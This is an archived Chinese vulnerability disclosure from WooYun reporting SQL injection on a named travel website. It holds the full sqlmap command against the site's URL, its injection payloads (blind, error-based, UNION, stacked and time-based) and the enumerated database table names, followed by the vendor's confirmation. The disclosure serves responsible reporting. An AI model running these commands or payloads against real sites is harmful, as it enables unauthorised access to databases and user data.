乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2014-02-22: 细节已通知厂商并且等待厂商处理中 2014-02-24: 厂商已经确认,细节仅向厂商公开 2014-03-06: 细节向核心白帽子及相关领域专家公开 2014-03-16: 细节向普通白帽子公开 2014-03-26: 细节向实习白帽子公开 2014-04-08: 细节向公众公开
佰程旅行网 主站SQL注射 可致所有业务数据库泄露为演示危害防止误报,SQLMAP跑出数据表名称(仅名称),请查阅日志(22:46:42即终止所有测试)
漏洞地址:http://www.byecity.com/theme/themhandler.ashx?method=getProductList&ProductIDs=34594&t=0.5517011657357216ProductIDs没有过滤,造成注射SQLMAP注射演示
C:\Users\Administrator>sqlmap.py -u "http://www.byecity.com/theme/themhandler.ashx?method=getProductList&ProductIDs=34594&t=0.5517011657357216" -p ProductIDs --dbms="microsoft sql server" --tables
sqlmap identified the following injection points with a total of 28 HTTP(s) requests:---Place: GETParameter: ProductIDs Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: method=getProductList&ProductIDs=34594) AND 9776=9776 AND (4554=4554&t=0.5517011657357216 Type: error-based Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause Payload: method=getProductList&ProductIDs=34594) AND 4669=CONVERT(INT,(SELECT CHAR(113)+CHAR(115)+CHAR(110)+CHAR(102)+CHAR(113)+(SELECT (CASE WHEN (4669=4669) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(110)+CHAR(121)+CHAR(120)+CHAR(113))) AND (4011=4011&t=0.5517011657357216 Type: UNION query Title: Generic UNION query (NULL) - 8 columns Payload: method=getProductList&ProductIDs=34594) UNION ALL SELECT NULL,NULL,NULL,CHAR(113)+CHAR(115)+CHAR(110)+CHAR(102)+CHAR(113)+CHAR(72)+CHAR(70)+CHAR(99)+CHAR(76)+CHAR(70)+CHAR(120)+CHAR(87)+CHAR(110)+CHAR(69)+CHAR(72)+CHAR(113)+CHAR(110)+CHAR(121)+CHAR(120)+CHAR(113),NULL,NULL,NULL,NULL-- &t=0.5517011657357216 Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries Payload: method=getProductList&ProductIDs=34594); WAITFOR DELAY '0:0:5'--&t=0.5517011657357216 Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase time-based blind Payload: method=getProductList&ProductIDs=34594) WAITFOR DELAY '0:0:5'--&t=0.5517011657357216---web server operating system: Windows Vistaweb application technology: ASP.NET, ASP.NET 2.0.50727, Microsoft IIS 7.0back-end DBMS: Microsoft SQL Server 2008Database: Information[56 tables]+---------------------------------------------------+| SiteSystem.Articles || SiteSystem.Entertainment || SiteSystem.Hotel || SiteSystem.Restaurant || SiteSystem.ShoppingMall || SiteSystem.Sight || SiteSystem.Themes || SiteSystem.Traffic || SiteSystem.TypeSummary || bosssystem.ContentModules || bosssystem.ContentModules || bosssystem.Modules || dbdatareader.Articles || dbdatareader.CommonIdentity || dbdatareader.LifeGuide || dbdatareader.Themes || Albums || ArticleParagraph || ArticleSight_Mapping || Articles_baks || Articles_baks || Attachment || Author || CRMV_CountryInfo || Category || City || Column || CommonType || Continent || Country || Discuss || Files || Images || Logs || Members || Sight_Themes || SubImages || TagDetail || TagDetail || Themes || Video || common_city || common_country || v_Article_Search || v_Articles || v_CityDetail || v_CountryDetail || v_DiscussInfo || v_ImagesForBossSel || v_ImagesForFreeGroup || v_PagedImages || v_SightDetail || v_SightForOthers || v_Statistic || v_Summaries || v_Themes |+---------------------------------------------------+Database: Mails[11 tables]+---------------------------------------------------+| CommonEmailList || EDM_EmailGroup || EDM_EmailGroup || EDM_MailError || EDM_MailQuene || EDM_MailVisit || EDM_UserFeedBack || EDM_UserFeedBack || EDM_Version || MailError || MailQuene |+---------------------------------------------------+
获取--tables(数据表名称且仅名称后)终止所有测试
SQLMAP注射演示
过滤,过滤,过滤
危害等级:中
漏洞Rank:5
确认时间:2014-02-24 15:09
非常感谢为我们指出!马上修复!要求所有人员进行参数判断!
暂无